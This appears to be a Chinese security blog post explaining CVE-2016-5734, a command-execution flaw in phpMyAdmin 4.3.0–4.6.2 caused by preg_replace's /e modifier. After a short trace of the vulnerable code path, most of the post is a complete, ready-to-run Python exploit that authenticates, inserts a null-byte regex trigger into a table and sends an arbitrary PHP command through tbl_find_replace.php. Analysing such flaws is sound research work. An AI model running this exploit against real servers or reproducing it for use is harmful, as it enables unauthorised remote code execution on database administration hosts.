這里拿cve-2016-5734講講preg_replace引發的命令執行漏洞,漏洞在exploit-db上有利用腳本,經過測試沒有問題。這里對這個漏洞進行一下回溯跟蹤來解釋下preg_replace這個正則替換函數帶來的問題。
0x01 漏洞觸發原理:
preg_replace漏洞觸發有兩個前提:
01:第一個參數需要e標識符,有了它可以執行第二個參數的命令
02:第一個參數需要在第三個參數中的中有匹配,不然echo會返回第三個參數而不執行命令,舉個例子:
echo preg_replace('/test/e', 'phpinfo()', 'just test');
這樣是可以執行命令的:
echo preg_replace('/test/e', 'phpinfo()', 'just tesxt');
echo preg_replace('/tesxt/e', 'phpinfo()', 'just test');
這兩種沒有匹配上,所以返回值是第三個參數,不能執行命令.
0x02 觸發漏洞位置回溯:
cve-2016-5734的漏洞問題出現在TableSearch.class.php中的_getRegexReplaceRows函數,讓我們看看這個函數:
phpmyadmin_1
$find ,和 $replaceWith可以看到在preg_replace中被引用,讓我們回溯這兩個變量,在getReplacePreview中有調用_getRegexReplaceRows函數
phpmyadmin_2
繼續回溯,在tbl_find_replace中有調用getReplacePreview,同時參數是post傳入,下面讓我們看看如何利用構造
phpmyadmin_3
0x03 構造利用
漏洞利用思路:這個漏洞目前沒法直接利用,因為有token限制,需要登陸抓到token,同時需要構造第三個參數保證和第一個參數匹配上,第一個參數可控,但是第三個參數是從數據庫中取出的,所以只能提前插入到數據庫中,然后再取出來,columnIndex是取出字段值的可控,所以第三個參數也可控了。
流程大概走了一圈,下面看看怎么構造,首先這個漏洞需要有創建表插入字段權限的賬號,這里直接用的root賬號測試的,先創建個表,然后表中插入個字段值為"0/e"
phpmyadmin_4
- #!/usr/bin/env python
- # cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
- # Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
- # CVE: CVE-2016-5734
- # Author: https://twitter.com/iamsecurity
- # run: ./cve-2016-5734.py -u root --pwd='' http://localhost/pma -c "system('ls -lua');"
- # https://www.exploit-db.com/exploits/40185/
- import requests
- import argparse
- import sys
- __author__ = "@iamsecurity"
- if __name__ == '__main__':
- parser = argparse.ArgumentParser()
- parser.add_argument("url", type=str, help="URL with path to PMA")
- parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
- parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
- parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
- parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
- parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
- arguments = parser.parse_args()
- url_to_pma = arguments.url
- uname = arguments.user
- upass = arguments.pwd
- if arguments.dbs:
- db = arguments.dbs
- else:
- db = "test"
- token = False
- custom_table = False
- if arguments.table:
- custom_table = True
- table = arguments.table
- else:
- table = "prgpwn"
- if arguments.cmd:
- payload = arguments.cmd
- else:
- payload = "system('uname -a');"
- size = 32
- s = requests.Session()
- # you can manually add proxy support it's very simple ;)
- # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
- s.verify = False
- sql = '''CREATE TABLE `{0}` (
- `first` varchar(10) CHARACTER SET utf8 NOT NULL
- ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
- INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
- '''.format(table)
- # get_token
- resp = s.post(url_to_pma + "/?lang=en", dict(
- pma_username=uname,
- pma_password=upass
- ))
- if resp.status_code is 200:
- token_place = resp.text.find("token=") + 6
- token = resp.text[token_place:token_place + 32]
- if token is False:
- print("Cannot get valid authorization token.")
- sys.exit(1)
- if custom_table is False:
- data = {
- "is_js_confirmed": "0",
- "db": db,
- "token": token,
- "pos": "0",
- "sql_query": sql,
- "sql_delimiter": ";",
- "show_query": "0",
- "fk_checks": "0",
- "SQL": "Go",
- "ajax_request": "true",
- "ajax_page_request": "true",
- }
- resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
- if resp.status_code == 200:
- if "success" in resp.json():
- if resp.json()["success"] is False:
- first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
- error = first[:first.find("</code>")]
- if "already exists" in error:
- print(error)
- else:
- print("ERROR: " + error)
- sys.exit(1)
- # build exploit
- exploit = {
- "db": db,
- "table": table,
- "token": token,
- "goto": "sql.php",
- "find": "0/e/0",
- "replaceWith": payload,
- "columnIndex": "0",
- "useRegex": "on",
- "submit": "Go",
- "ajax_request": "true"
- }
- resp = s.post(
- url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
- )
- if resp.status_code == 200:
- result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
- if len(result):
- print("result: " + result)
- sys.exit(0)
- print(
- "Exploit failed!/n"
- "Try to manually set exploit parameters like --table, --database and --token./n"
- "Remember that servers with PHP version greater than 5.4.6"
- " is not exploitable, because of warning about null byte in regexp"
- )
- sys.exit(1)
新聞熱點
疑難解答